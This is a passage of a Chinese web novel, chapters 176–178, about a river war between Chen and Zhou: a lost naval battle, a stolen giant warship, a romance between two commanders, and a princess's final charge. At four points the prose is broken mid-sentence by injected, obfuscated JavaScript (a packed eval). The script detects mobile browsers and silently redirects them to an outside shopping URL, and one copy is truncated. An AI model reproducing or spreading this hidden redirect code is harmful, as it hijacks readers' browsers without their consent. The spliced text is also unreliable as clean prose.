敌人的蛟龙让他束手无策,仰望高耸的铜墙铁壁,在它跟前,水寨所有的船舰都渺小脆弱,不堪一击。鲁云渊派出多种类型的战舰,不管是作战主力的艨艟还是快捷灵敏的走舸,都经不起铜蛟上巨大拍竿的击打。 派去一艘,沉碎一艘。 上次一战,受伤的左手腕还没好,平日常用的重兵器根本拿不起来,鲁云渊把浓厚的须发扎成一束,摘掉帽盔,勒紧额带,抽出腰间的剑,下令自己的主舰起航。 这艘主舰名叫朝阳,是历阳大营体型最大、年月最久的船只,曾与京口的镇寨之宝驰龙并肩作战过。历经风雨坎坷,已到了退役的年月,鲁云渊决定让她在风烛残年之际再现一次过往的熊威。 锁江的链锁已断了三条,蛟龙舰顺着流水和风向拼命向东而去,最后两根铁锁发出绷紧的嗡嗡声。元墨趴在船沿监视锁链坚持的极限,朝船舱下令:“重新换一批人,再加把力。” 蛟龙两侧的大桨掀动、落下,没有一刻间歇,五艘战舰同时发力,把最后两个锁链向前顶到极点,“再加人手——” 元墨用嘶吼鼓舞船舱拨桨的将士奋力向前,轰然一声,最后两根横江锁链断成两截,粗链在巨大的弹力下向两侧猛撞开来,恰好击打在一条小型斗舰上,顷刻,船翻人亡。 冲破阻碍的周水师就像滚烫的岩浆,倾力而下,无所阻拦。 历阳大营的所有战舰在鲁云渊一声令下也如巨龙入海,两方几千条战船交错、融合在一起,声声厮杀惨叫经江风稀释过后,如厉鬼冤魂般令人战栗。 拿蛟龙舰没有办法,鲁云渊就让脚下的楼船向其撞击,一次、两次,一艘,两艘,陈军的战舰锁定一艘土蛟,撞击,借风力急速从后撞击,用人力逆流从前撞击,拿它没办法,那就玉石俱焚同归于寂,它是怪物,鲁云渊喘着粗气让历阳的战船都凝成恶鬼,以血腥残忍的代价缠住土蛟。 他站在朝阳舰的最前面,给所有能看见他的将士们打头阵,立起无惧死生的标杆,白浪滔天,江面上,水与火共生,生与死仅有一线之隔。 朝阳这艘楼船不知撞击土蛟多少次,鲁云渊躲开数不清的箭矢,后背插了两根箭依旧没摧毁他不凡的毅力和勇气。 将士被老将军舍身报国的精神所动,无不奋勇,无不向前。 这场仗,历时整整三天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173839|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆地和江面都充斥滚滚硝烟,那遍地的死尸也昭示着乱世下一钱不值的人命,谁管他是谁家的儿谁家的夫,躺在地上、漂在江上都是一具冷冰冰即将腐朽的木头,没人同情,也同情不过来。 历阳的溃败,开始于朝阳舰的四分五裂。 鲁云渊拉满一张张沾了清油的弓箭射向土蛟薄弱处,每支火箭都像插在石头里,顷刻就灭了,硬碰硬不行,火攻也不行,这巨大的怪物就像砸在陈军头上的重雷。 鲁云渊看向狼藉破碎的江面,悲怆之情堵塞心胸,把剑指向船尾被撞的有些变形的土蛟,下了最后一声命令:“继续撞,击沉一艘算一艘,决不能让它们东下。” 将士从他又红又黑的面庞上看见决一死战的意志。 朝阳舰一直在土蛟后方攻击,靠水流和风向双重力量轰然一声再次撞向船尾,一声巨响,土蛟船尾裂开一条巨缝,鲁云渊兴奋难抑,战事持续三天终于得见曙光,不待他发出第二声撞击口令,土蛟上的拍竿从天而降,阴影笼罩,鲁云渊仰视这厚重的巨锤,恰好击中他所在的位置。 朝阳舰在猛烈的锤击下分崩离析,船头炸开大洞,裂缝爬至船的周身,江水疯狂灌进船舱。 与朝阳一起下沉的是它持续攻击的土蛟,两船相隔不过丈远,众多落水者从船里爬出来,像耗子洞被灌了水,一个个湿哒哒、可怜兮兮寻找浮物求生。 须臾之间,两艘船就沉入江底,带着还没爬出来的人命,消失得干干净净。 拍竿打下来时,鲁云渊被部下及时推了一把,还没站稳,大水已没过脚腕,老将军一把拽掉背后的箭,脱去铠甲跳进江里。眼见驾驭多年的朝阳舰完美完成最后一次任务后,他抱着根浮木,狂妄地仰天大笑。 笑着笑着,一股悲凉袭上心头,损耗如此大的代价,伤亡惨重,只才打沉一艘蛟龙。秋日的江面过早降下寒露,烟气渺渺。 落日将沉,残光在逐渐平静的大江上铺设千里,还有几缕半死不活的硝烟缠着残垣断木,东摇西摆,印证这场即将结束的战火。 许多陈军开始向周军投降,放弃挣扎,只有鲁云渊和几个熟识的部下还抱着枯木,划向敌人,一刀一剑往下砍,一招一式显得那么无力回天,无可奈何。 元墨站在高大的金蛟上向鲁云渊喊话,口气谦逊恭敬:“鲁将军,历阳大营已败,束手就擒吧,陈国现已孤木难支,就算赢了这一场,我水军还有十条一样的蛟龙等着入水,这些年你们不思进取,水师早就落后了,经不住蛟龙的锤击。” 元墨指着江面上密集的船队,洋洋自得:“光靠将军一人之力,怎能挡住这铺天盖地的大水,我将用这池江水水淹建康。” 鲁云渊拿剑的手浮在水面上,江水一漾一漾撞击胸口,他松开剑,望着它缓缓沉入水下,朦胧不见。 他朝着京师的方向嘶吼一声:“抵挡这场大水的绝不止我一人。” 鲁云渊被俘,历阳大营失守。 176.亡国前的反击 元墨登顶历阳大营的最高处,眺望落日熔金的大江,庞大的船队在四艘蛟龙的带领下直下建康。 历阳这守护京师的门户一旦被打开,就算建康被保护的跟铁桶一般,周国大军对它也将手到擒来,元墨心潮澎湃,和兄长元意会师陈国的帝京,开疆拓土,灭人之国,再统御四方,是件多么功勋卓著的大事,简直震耀千古。 但是,元墨没料到,他眼中奢靡无能的帝京,对他们“开疆拓土”的行为会引起那么惨烈的反击。 十月初六,元墨水军一路无所阻挡顺江东下,浩浩荡荡的船队开赴至三山矶时突然停了下来。 深秋天气,大江上烟雾弥漫,能见度很低,元墨不敢大意,令船舰原地待命,等江上大雾退散再行驶。 隔着浓厚的大雾,元墨的心跳比往常要快一些,他预感大雾的后面是道深渊,或是深不可测的漩涡,只等他们投怀送抱。 蛟龙坚硬庞大的身躯给他莫大的安慰,一条蛟龙的战力能顶二十条楼船,何况他手中是四条。去年灭梁时,五条蛟龙刚建造完成,险些被梁国的红绸世子发现,那场水战为保存水军实力,信州水师很快就败在萧琢手中。 那场仗,元墨见识到大陈水军的威力,不管是陆战还是水战,将士们像发疯的猛兽汹涌而上。这回直接把船开到人家眼皮底下了,不知能不能再对上那个红绸世子。 另一面,元意的大军早已扎营在江北岸等候会师。 大陈的武将和文官几日前就聚在一起商量江两岸兵力布防一事,文官提出以长蛇阵摆开,每隔二十里就安置一个军事据点,以栅栏式拦住敌军。武将竭力反对,如此兵力太过分散,完全阻挡不了敌人的大军。 最后,左卫蒋授拍下最终决策,将京师的近十万兵力集中并分作两路,一支由蒋授率领,作为护卫宫城的最后壁垒,这支军只有两万人,屯兵在玄武湖旁,不言而喻,他们心里头都明白,一旦用到这两万兵力,宫城也保不住了。 另一支大概七万人,由右卫公仪林督军,严守石头城和秦淮这道战线。 京口的水师被周军扼制在原地不敢动弹,一面要防着城下的二十大军,又要防着周国从海上出击的水师,虽有陈明聿、陈千越在前面挡了一遭,卢思苌听闻那对兄妹的仗打的也甚是艰难。如此困难之际,卢思苌仍抽出人马由陶修率领,从京口出发开至石头城,驰援京师的危机。 存亡之际,人人自危,但人人奋勇,做绝地反击。 元墨的水军停在江面不前时,大雾对面正是公仪林的战队。 历阳在与元墨交战时公仪林就收到鲁云渊将败的消息,他不敢把京城的兵力再派出去救援,何况历阳本就是重镇,以防卫京师为重任,若历阳都阻拦不了敌军的侵略,派出去的几千军又起什么作用,他必须存蓄力量做最后一搏。 连续两天,斥候不断送来敌船缓缓东下的消息,公仪林命陆颢守住石头城,他带军到三山矶拦截住元墨。 旭日升起,大雾渐渐淡去,混沌的江面露出干净的面目和本来没有的东西——几千条战船。 两军没意识到自己距离敌人这么近,连对方大船上的旗帜都看得清清楚楚。 几千艘大小不一、功能不同的舟、船、舸,平铺千里,接天连地,以令人胆战心寒的架势欺压在大江之上,仿佛在浩瀚的江水跟前,人力也能胜天。 两军近距离对峙,元墨有点懵了,公仪林也犹豫不定,是不是立即打开这一仗的序幕。 论数量,公仪林手中仅有不到八万人,论气势,陈国自四月至今节节败阵,眼下连历阳都失守,气势偏向两个极致,要么退怯不敢战,要么豁出性命拼死一战。 公仪林暂时看见的都是将士们捍卫疆土的决心和驱赶敌人的愤恨。 而对方的军力,公仪林不敢说服将士们仅凭气势一定能胜过周军,因为他终于看见巨型战舰蛟龙的气魄,鲁云渊就败在这庞大的怪物之下。 十月的天气有些冷,但秋高气爽,青空无际,从大江上望出去的视野更开阔,天与水相接,灿烂的太阳照得水面波光粼粼,岸边似有一孩童放牛的身影,看不真亮,后来也踽踽走远,公仪林记得,那一孩一牛,是战鼓响起之前最后的宁静。 开战前,将军要用振奋人心的话激励将士奋勇杀敌似乎成了不成文的规定,以前陶修教过他很多打仗的“秘诀”,他告诉他:就算为了这些将士,不能在他们面前露出一丝胆怯,你是他们的心魂主骨。 公仪林无话可讲,想身先士卒给部下杀出个榜样来,但隆隆鼓声落音,面对一万张不同的脸,突然有千言万语凝聚心头,有恳求、有嘱托、有命令、有对将士们的怜悯,终究汇成一句话:“你我眼前就是大江,一旦选择背对它就是放弃了家国,敌军攻破最后屏障,遭殃的必是城中你的父母妻子,身为男儿,当以守卫家国保护父母妻小为重任,养兵千日就为此刻,跟我赶走周狗。” 鼓声躁动,长角嘹亮,一场血战在晴朗的大江上开始的如火如荼,那刀光剑影和声声嘶吼竟有些热闹,像是十月的龙舟赛,河水沸腾,浪花拍案,破碎的舟楫、横陈的尸体、殷殷鲜血,皆随那江水东去。 周军的蛟龙虽锐不可挡,但整体行动迟缓,转角、加速十分费力,其上最致命的部分便是千钧之力的拍竿和装了两千人的兵力。公仪林选择的战略是不靠近它,不靠近,它就使不出强大的威力,拍竿那些玩意都算白费,拍竿砸不到船,两千兵力下不了岸,只能在江上干瞪眼。 就算对方被打急眼登岸,守在岸边的将士可不是吃素的。 陈军的战船依右卫的命令,尽量避开蛟龙不许与之争锋较劲,然后再使作战便捷的艨艟围击敌人的小型战船。 周国的水军也就这几年才偷偷壮大,毕竟年轻,水上作战能力不如陈国。当陈军都“抛弃”蛟龙专攻小船时,元墨突然慌了,懵了。 他没料到蛟龙还有被人嫌弃的一天,等他下令让船头调转方向击打陈军楼船时,对方有足够的时间避开他的动作。 公仪林身先士卒,不顾孙栖寒阻拦,从楼船跳上一艘艨艟,跟将士们浴血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182513|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拼杀,甚至跳上走舸,将士用带勾的长枪拖过来一条敌船,他便上前杀个痛快。 手下将士被其不顾性命的拼杀震颤住,将军不都该站在坚硬的楼船上指挥千军万马?不都该避开危险护住性命维系三军的秩序?怎么他要混在我们一起,杀得满身是血? 但众将士很激动,杀敌的信念倍增,无不奋勇。 周军在大江上的弱势渐渐暴露出来,元墨很快改变策略,既然你们不跟我的蛟龙玩,那我就向东直下,看看着急的人是谁? 进军鼓再次响彻大江,四个庞然大物缓缓启动,破开波浪,又稳又傲远离这片杀得江水通红的水域。 公仪林明白敌人意图后,立即让孙栖寒驾轻便小舟上岸,把这个消息带到石头城陆颢处。 这场水战,周军水师损失惨重,大军被一斩为二,一半随蛟龙东去跟元意军会师,一半又徐徐退回历阳水寨养伤。 公仪林留下水军在三山矶山继续监视后方敌人的动静,他则暗中回到石头城。 经过白日那场厮杀,公仪林只觉得身心疲惫,赶马的手抖个不停,脑中都是四艘蛟龙带来的压力,究竟用什么办法才能击退这怪物?如今它们已停靠在元意的水寨里,袭不袭击石头城全凭元意和元墨的心意,而自己能做的唯有防御,连主动出击都不敢。 假如蛟龙靠其强大的运输能力,只需几趟就能把几万大军运到江对岸,在秦淮河打下的暗桩对此巨物毫无阻挡力,该怎么做才能赶走敌人? 难道大陈的江山真到了末日? 那日,陆颢问了他一个问题,是几个世家大族刻意藏起不敢触碰的问题,陆颢问他:“公仪家初代为官是何时?” 公仪林开始没明白这句话的意思,只一瞬就瞪大眼睛,满目的惊惧,不敢往下继续谈,轻蔑地哼一声,回复陆颢:“那又如何?” 陆颢也冷笑两声,语调很高傲:“是你多想了,我绝无那个意思,我会战到城破为止。” 公仪林走近他,真诚地问:“你能扭过宗族的决定?” “如今陆家为我最大,我的决定就是他们的决定。” “若是撑不过去,周狗砍的可就不止你这一根脖子,还有你全部族人?” 陆颢觉得话头太重,不敢继续说下去。 那次的话就此断了,落在心头的阴翳却挥之不去。 公仪家初在晋时为官、世居吴郡,至今两百年历经四国,在以往三次短暂的王朝里,公仪家皆有人在朝为官,官居高位,那些短暂王朝和王权的覆灭对树大根深的世家而言,无非就是换了个姓氏的王,几场战火洗练,死了的便死了,没死的就浴血重生,风平浪静后,世家依旧是从前的世家,新的王还得靠着这些世代扎根于此的大族生存。 公仪达三十多年前慧眼独到,跟着大陈的开国皇帝打下江山,才把公仪家的祖业在浩劫里完完整整保全下来。 才四十年不到,几个世家大族又面临相同的选择。 没意思,真他妈的没意思,公仪林感觉心口又沉重了些。 177.爱咬人的公子 漫天星辰直压江面,可这深秋的夜空还是清冷寂寥,江风又大又劲,寒意直往怀里钻。 公仪林回到大营时已深更半夜了,江边灯火格外明亮,陆颢迎上来把敌人的动向回禀给他,“四艘蛟龙皆停在元意大营,因吃水太深,停靠位置离栈桥较远,由重兵把守。周狗的水军被你一截为二无法凑一起,暂时他们绝不敢轻易发兵。” 公仪林边听边用端上来的热水洗去路上的疲惫,接了陆颢的话说:“今日我亲眼见过它的强大,势不可挡,这种东西若是正面硬刚,我军绝无胜算,满大江的船都不够它拍,我觉得我们得想办法偷一艘过来。” “没错,陶修也是这个意思,就是不知该如何下手。” 手里的湿帕猛地一拧,住了手,直直地转过身,小心翼翼试探着问:“谁的主意?” “陶修,可能都开始准备偷了,我从没见过他那样的行动派,我明明说等你回来再商量,他人就不见了。” “他现在哪?” 陆颢故意吊着他,继续说:“周狗把蛟龙看得死死的,以防不备被他们发现外加把蛟龙拖回来,怎么说也得一千人,一千人去偷东西,要想不弄出点动静来我真闻所未闻,看他那一脸的严肃,又不得不信他确实能办到。” “他在哪?” “谁?” 公仪林闭上眼呼出一口气,压下气焰,把擦脸的巾帕砸陆颢身上就冲出屋外。 难怪今夜城中的灯火比往日足足亮了一倍。 那人还能在哪,一定在江边。 江面零零散散有几处渔火,映着天上的星辰,宁静又美妙,如果不是离此几十里外的敌军坏事,此刻见心上人的心脏该如火熊熊燃烧。 “去他妈的周狗,就算你现在把船开到我眼皮底下,也不影响我见陶修。” 公仪林丢开马,走进灯火通明的水寨,阻止部下去通报。就这么定定地站在岸上俯视下面忙碌的陶修。 这人到哪里都有忙不完的事,刚到自己的地盘,瞧给他忙得好像在这里待的挺熟似的。 直到一个士卒趴在陶修耳边禀报:“公仪右卫来了。” 陶修忙转身,眼睛还在背光的地方搜寻,忽一道黑影冲下来一把搂住了他,不由分说,对着他的脖颈就咬下一口。 回头得问问公仪老夫人是不是记错了,这二公子该属狗才对。 陶修忍着疼拽了三次没拽下来,附在他耳边低声求饶:“疼,松开吧。” 这语气简直可怜又隐忍,公仪林浑身一阵酥麻,嘴上的劲又大了几分,陶修被咬急了,只得狠狠掐住他手臂提醒道:“他们都在看着,你是不是疯了?” 旁边确实站了一些跟陶修检查船只的士卒,不多,也就百十来人,正目瞪口呆盯着二人。 公仪林朝他们大手一挥,“该干嘛干嘛,没见过兄弟重逢?” 将士:“……”当然见过,可是也不该是你这狗急的模样。 陶修把他拽到灯火暗淡些的地方,凝视江对岸的西北方,那里就是元意的大营,“没错,偷东西确实要人少,但偷这么大东西人数也不能太少,我打算来个‘声东击西’,一定弄一艘回来不可。”他把偷东西的计划精细地说一遍,让公仪林配合明晚的行动。 公仪林认真听着,担忧隐隐爬上眉间。长久以来,没有亲眼看见陶修打仗也就罢了,如今这人就在眼前,准备明晚潜入敌方水寨偷船,无论他本领多厉害,这心里总是忐忑不安。 讲完计划也没等到他一句回应,陶修歪过头凑近了问:“难道信不过我?”忽见他的唇不似往日红润,护卫京师的压力全在他和左卫身上,看来这些时日过得十分辛苦啊。 陶修按过他的头朝其唇上吻去,抚慰的一吻,十分温柔。 公仪林被突如其来的幸运冲击地瞪大眼睛,继而闭上眼舒服地享受一阵,才坚定的答复,“信得过,明晚我亲自替你开道。” 两人在江边的石头上静坐许久,没有提分开这半年的经历,也没有提大陈面临的危机,用江面上点点渔火来舒缓心头的沉重。 “记不记得前年的约定,说好回玉河村看清江河,至今都没能实现,你说这小小的心愿要怎么做才能达成?” 他们背靠背盘腿坐着,闻言,陶修侧过身摸过他的一只手,“我估摸着要等天下太平才行。” 公仪林突然站起来,伸手把陶修也拉起来说:“那就等天下太平的吧。你手真凉,回去我给你焐焐?我有什么毛病,深更半夜跟你在这吹江风,快天亮了,回去睡会,养足精力明晚好做贼。” 近几个月精神高度戒备的陶修一觉睡醒已是第二日傍晚,被营外乒乒乓乓的打铁声弄醒,头昏脑涨走出屋外,将士们已把今夜行动用的战备往船上搬,长矛铁戈、箭矢刀枪都准备整整齐齐,看来那小子是要大干一场了。 公仪林“声东”用的船舰准备妥当,至于“击西”用的船只则要陶修动用自己的兵力。 陆颢也把救急应战的船舰停在江心随时待命。 下半夜的丑时出发,陶修对先行的公仪林叮嘱道:“切莫靠得太近,不许面对面硬拼,只能用弓箭射击引开他们注意,不许开打,绝对不许开打。” 即便是暗中偷袭,这打起仗来,不管大还是小都要死人的,今夜行动就显得压抑沉闷了点,公仪林故意找茬松动松动紧张的气氛:“你不过是卢将军派来拱卫京城的一支水师,神气活现做什么,这里可是我说的算。” 周边将士们都笑了一阵。 “废话少说,出发吧。” 三十条艨艟穿梭在江上的薄雾里,缓缓开出水寨向敌营驶去。 陶修准备好的一批精兵则驾最轻便的竹筏和小舟从另一个方向出发。 元墨与兄长元意的大军在江北水寨会师后,兄弟二人把半年来向江南拓土的战果一一捋顺理平,现在只剩下东扬州、京口和石头城三处还在抵抗。 他们守在水寨不动,一旦等到东扬州杨念的捷报传来,周师将三面发兵一举拿下建康。 兄弟二人这庆功的酒还不敢开封。 今夜元墨按常例巡逻过各大营后就睡下了,半夜时分忽听部下来报,江面出现大量战船,停在距离水寨四五里的位置不动。 元墨立即皮甲上阵,十分利落果断地调遣相同数量的船去迎敌。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191941|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此时,江面雾气正浓,灯火朦胧,双方的刀枪剑戟都在鞘中压着藏着,没有一点开战的意思,几十条船在大雾之中如鬼魅夜游。 元墨下令按兵不动,看敌人玩什么鬼把戏。 这正合公仪林的意思,不动一刀一枪就把他们的注意力引过来岂不是更利于今夜的计划。 公仪林让将士把弓箭全部堆在脚下以防周军突然袭击。 元墨则来回搓拇指和食指,眯起精明的双眼,这么干瞪眼也不是个事,离天亮还有一个时辰,陈国水师这是要干嘛?这其中必有猫腻。 他刚要派出两条敢死的小舟上前探听消息,身后的水寨突然传来闷闷的鼓噪声,接着火光冲天,熊熊大火驱散浓雾,把元墨眼里的两团火也烧的快要跳出眼眶。 原来陈军打的是这个主意,元墨立即下令开战,几十艘战舰倾巢出动,顺着水流迅速扑向陈军。 公仪林依陶修的命令不敢跟敌人硬碰,下令边退边战,直到退回石头城的防御水域内。 带出去“声东”的几十条船几乎都安然返航,主帅的楼船却不见踪影,陆颢连问三次,才得到一个准确的答案,公仪林驾船驶去敌人水寨了。 另一边,陶修带的人手皆是沧澜队那样会水的佼佼者,一靠近敌营就抛弃竹筏小舟,几百人江豚似的潜入水中,暗淡的灯火下,看守蛟龙的人见水面漾开怪异的波纹,都以为是成群的大鱼戏水。 直到陶修破水而出,掣出明晃晃的宝剑才反应过来,敌人这是杀到眼前了。 警戒的鼓声迅速响起。 行军打仗最怕夜间无缘无故的啸声,更怕听见震耳欲聋被偷袭的警铃声,贺功臣从被窝一跃而起,没弄清军情就先冲了出去。 周军夜间待命的船舰刚被元墨带走,待贺功臣赶到江边杀敌时,水寨的栈桥边早已结束一场血腥的残杀。 地上躺的死尸几乎都是自己人,金蛟也慢慢驶向江心,贺功臣怒喝一声:“开船,跟我去杀。” 他被敌军的偷袭冲昏头脑,仅带几艘艨艟就追了上去。 等他借着微明的天光看清站在金蛟上的陶修时,双目充血,怒拍船体,骂道:“陶修,你这个丧家之犬,我与你势不两立。” 陶修拱手客气地喊道:“贺将军,借你蛟龙一用,我正要用你脚下的船试试这蛟龙的实力,不知肯否?” 贺功臣这才发现自己离金蛟太近,随时能被它拍死。 这时,公仪林的船由远及近开了过来,贺功臣认出此人后,立即拿出杀手锏,高声威胁:“公仪将军好威风,就是不知你兄长公仪檀现今如何?牢里的饭吃不吃得习惯?” 公仪林脸色大变,拳头攥出清晰的骨节,突然舒展眉头笑答:“贺将军正直磊落,不至于为这点寸功连威胁狡诈的手段都用上,试问公仪檀被俘至今,他可曾说过一句示弱的话?兄长如此,我又能比他差到哪里去?两军对垒,沙场上说话,贺将军,后会有期。” 那公仪檀确实也是个犟种,没见过被俘的人还能摆出那副高傲的模样。贺功臣也是被逼急了才拿此下作的办法招呼敌人,对方不吃这一套,只得恨恨地看着贼人大摇大摆离去。 178.碎掉的怪面具 陈军以很小的损失就偷回一艘蛟龙,当它开到水寨时,大营沸腾,将士们踩在船只上伸头观望,岸边堵的黑压压一片,要一睹金蛟的芳容。 营中的十几员大将更是把金蛟里里外外摸个遍。 公仪林刚跳下船就命营中匠作参照金蛟的制式和功能打造一模一样的。此处人人都在激动,唯独公仪林神色冷峻,满腹心事。 忙碌一夜都累了,陶修趁人不备轻轻勾了下公仪林的指头,挤出一个苍白无力的笑,说:“想救你哥,其实我有个办法。” 公仪林见他脸色不对劲,心口一紧,绕着他转一圈,果然伤了。 想到陶修遇事只会隐瞒的“劣性”和兄长被俘一事,怒急攻心,揉成一团火窝在胸口,看看陶修的脸又不忍发作,半天才憋出一句话:“你这是要气死我?”他望着拥挤吵闹的人群,却挑不出能力特别出众的人,“明知你去偷东西会挨揍,可我没办法了。” 大陈已到了无人可用,也无兵可用的地步了。 陶修受的都是皮肉伤,共四处,可见昨夜偷回蛟龙并没众人想的那么简单。 包扎伤口后,他老老实实躺在床上,对一旁的公仪林道:“下次迎战我能抓住元墨,用他换回你哥轻而易举。” 公仪林一口拒绝这荒谬的办法:“他们不会杀公仪檀,留着可比杀了他用处大的多,他的事不必你操心。你在战阵中玩的那一手谁人不知,现在周狗不论大小将军只要听说对面的将领是你,都恨不得把金刚罩往身上套。” 他往床沿坐下,拉过陶修的一只手反复摩挲,似有很多话要说,最后挑了个较为亲密的话头,“以前我说绝不利用你这身本领为我卖命,国难当头,我却比以往更依赖你。康乐,我想问你,大陈的命运已走到拐角无路可走,你坚持战下去的信念是什么?” 这个问题,换在任何一人的身上都会得到不同的答案,高尚的则因大义为国舍身,自私的则争权夺利。 公仪林矛盾的地方正在此处,身为江南六大士族之一的公仪家,若是放聪明点,顺应时势点,国亡之后无论如何都比陈主好过。 六年前第一次看见陈明俨时就暗下忠君的誓言,多年如一,现兵临城下,却有人不停地在耳边慢慢敲毁他坚守的东西,他不敢回到城内看惊慌失措的士族举棋不定的模样,不敢看向文士一样的陈主在最后关头枯苗望雨的眼神,陈主拉着几位武将的手,打出柔情牌,抹去眼角的泪可怜巴巴的央求:“大陈的命数皆系于几位将军身上。” 上一个被他拉手的卢思苌,正披肝沥胆守着京口。 公仪林也受不住陈主的眼泪,虽一句话没说,心底的决心却比石头还硬,皇城一旦破了,周狗需踩着他的尸体才能伤到陈主。 国难当头,义者不以存亡易心,怎能让陈主连一个可托付的重臣都没有? 但陶修不同,他不懂陶修投身每一场战役的信念是什么。 “不想再看百姓活在水深火热里,想早日结束这场战乱,但个人能力太渺小了。”不错,公仪林暗想:你这是崇高的信念。 接着陶修又说:“你,还因为你,我得帮你。” 这句无意名利的话说得人心口暖洋洋的。 公仪林把手臂撑在陶修身体两侧,俯视这个很容易被下手的人,意图明显的目光看得陶修浑身发毛。 “不许这样看。” 公仪林弯腰在他唇上落了一吻,眼眸褪下寻常时的锋锐:“哪样?”声音既轻柔又缠绵缱绻。 “一身的伤啊,忍心下手?” “不是最爱逞强吗?再逞强一回。” 外面秋高气爽,日明气清,大白天的,公仪林起身把门给闩上了…… * * * 东扬州 整整七个月,与杨念周旋数月的东扬州终因没有外援而成了一座孤城。 陈明聿、陈千越一边听着大陈四面八方失守的消息,一边艰难的和杨念打了数场大小不同的仗,双方各有胜负,来回对峙相持。 兄妹二人心力憔悴,连梦里都在割杨念的人头当球踢。 十月十日,是兄妹二人最后一场战役。 一夜之间,杨念攻城的人马居然又多了两万。陈明聿盯着城楼下如蝗虫般密集的周军,捐躯报国的决心又增了一倍。 城中粮草已尽,兵疲马乏,连饿几天的将士们早就没了斗志。纵是城外的百姓想给他们送吃的也心有余力不足,杨念像猎狗一样蹲在城下。 陈明聿整衣敛容,检查过兵器后,对陈千越开了句赴死的玩笑:“我准备去割杨念的头送给你当靶子用,如果我死在阵中,别企图给我收尸。” 陈千越愣了片刻,小心翼翼确认一遍,“准备好了?今日?” “嗯,再坚守下去也无意义,不如开城门一搏。我有办法送你走,就是不知你能不能听我的话?” 陈千越把枪头染了黄漆的兵器也擦干净,抬眼看过去,漆黑的眼珠子清澈且亮,窝了浅浅的笑意,“二哥再顺着我一次呗。” “好,那就顺你一次,不过你得答应我,不能离我太远。” 千越啊,就算死,你也不能离我太远,我会不放心,亡国的皇族与其耻辱的活着,不如跟二哥走吧。 “紧跟兄长身后。”陈千越朝豫章王拱手施礼,戴上五颜六色的面具,对着晴空长长舒出一口气,说:“那就走吧。” 城门突然开了,大门那铁与木的沉闷摩擦预示七个月来的对峙终于走向结局。 陈家兄妹首当其冲,后面跟的是城里饿了几天的全部士卒,最后一战他们不肯露出弱势,精力充沛,将最旺盛的气力凝聚在手中的利刃上,能跟着豫章王背城一战,虽九死犹未悔。 天公不美,如此沉重的战役,好歹来场怒急的大风或汹汹暴雨,可十月总是那么秋高气爽,把无情的刀剑和赤裸裸的杀戮衬得刺眼又剜心的疼。 陈千越太恨了,恨这个杨念,就是这个姓杨的使她自小长大的地方生灵涂炭,安宁富裕的东扬州不复存在,这姓杨的把她最敬爱的二哥打得黯然神伤,打得萎靡不振。 捍卫帝王之家最后的尊严,姓杨的逼迫他们两兄妹不得不以死明志,殉节报国。 但是死之前,陈千越一定要把姓杨的拖下血坑,让他陪葬。 她忘记陈明聿的叮嘱,哪怕死也要死在他可能伸手碰到她的地方,她像只恶鬼冲向杨念,把手中长戟做最后一抛。 长戟迎面刺来,站在帅旗下的杨念只轻轻一侧身就躲开陈千越充满戾气的一击。绊马索将那匹汹涌狂奔的畜生绊倒,陈千越掉下马背滚了两圈,咬牙又站起来。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199316|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上五彩斑斓的面具像无底的漩涡,人人看了都害怕。 杨念扶剑而下,不紧不慢走到俘虏跟前,周围弥漫的硝烟被一阵清风荡开,他终于伸手把这张好奇数月的面具摘了下来。 杨念愣住了,那只攥着面具的手僵在半空。 陡然间,粗糙的鼓噪声、锵锵的铁器声都消失在尽头,打打杀杀的背景如虚影掠过,耳边寂然无声,映入眼帘的是陈千越苍白、仇视的面孔。 杨念踩在一块将要下沉的沼泽上,肮脏的泥水满过脚腕、膝盖、胸口,他攥着五彩面具的手无意识递给了陈千越。 不知是他想拉她一把,还是要她拉他一把。 “女子,竟然是女子?”每隔几天就出现在半山腰的那道剪影竟然是个女子。 陈千越在杨念愣神的一瞬挣脱束缚,拔出腰间长剑朝他斩去。 “不要——”杨念大吼一声,可是已经迟了,一根长戟比她的剑还快,对准她的背刺了下去。 